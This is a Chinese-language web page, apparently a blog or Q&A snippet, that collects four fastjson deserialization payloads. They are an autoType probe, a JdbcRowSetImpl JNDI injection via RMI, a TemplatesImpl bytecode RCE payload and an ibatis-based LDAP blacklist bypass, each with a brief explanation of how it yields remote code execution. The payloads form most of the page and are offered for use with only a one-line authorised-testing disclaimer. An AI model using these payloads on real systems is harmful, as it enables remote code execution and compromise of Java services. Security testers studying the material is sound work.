fastjson payload
时间: 2025-07-16 11:30:57 浏览: 10
fastjson 是阿里巴巴开发的一款高性能 JSON 解析库,广泛应用于 Java 项目中。然而,fastjson 在历史上曾暴露出多个高危漏洞,尤其是反序列化漏洞(如 CVE-2017-18349、CVE-2020-14645 等),这些漏洞允许攻击者通过构造特定的 JSON 输入实现远程代码执行(RCE)。
以下是几个与 fastjson 漏洞相关的 payload 示例,适用于安全测试和漏洞验证:
### 1. 基于 `autoType` 的反序列化 payload(适用于未禁用 `autoType` 的版本)
```json
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
```
此 payload 尝试利用 fastjson 的 `autoType` 功能加载恶意类,通常与后续的 JNDI 注入配合使用[^1]。
### 2. JNDI 注入 payload(适用于支持 JNDI 动态加载的 Java 环境)
```json
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/Exploit",
"autoCommit": true
}
```
该 payload 会尝试触发 JNDI 请求,连接到攻击者控制的 RMI 服务并加载恶意类,从而实现远程代码执行。
### 3. 使用 `TemplatesImpl` 实现无依赖 RCE 的 payload
```json
{
"a": {
"@type": "com.alibaba.fastjson.util.TypeReference",
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["base64_encoded_bytecode"],
"_name": "a.b",
"_tfactory": null,
"_outputProperties": null,
"_version": "10",
"allowedProtocols": "all"
}
}
```
该 payload 利用了 `TemplatesImpl` 类加载字节码的能力,通过 base64 编码的恶意字节码实现无外部依赖的远程代码执行。攻击者需将恶意字节码编译为 `.class` 文件并进行编码。
### 4. fastjson 1.2.68 以下版本绕过黑名单的 payload
```json
{
"x": {
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:1389/Exploit"
}
}
}
```
此 payload 用于尝试绕过某些黑名单机制,利用 `ibatis` 相关类实现 JNDI 注入。适用于某些未更新 fastjson 黑名单的版本。
### 注意事项:
- 上述 payload 仅用于合法授权下的安全测试和漏洞验证。
- 实际使用时应根据目标环境版本和配置进行调整。
- 确保在测试环境中使用,避免对生产系统造成影响。
---
阅读全文
相关推荐




















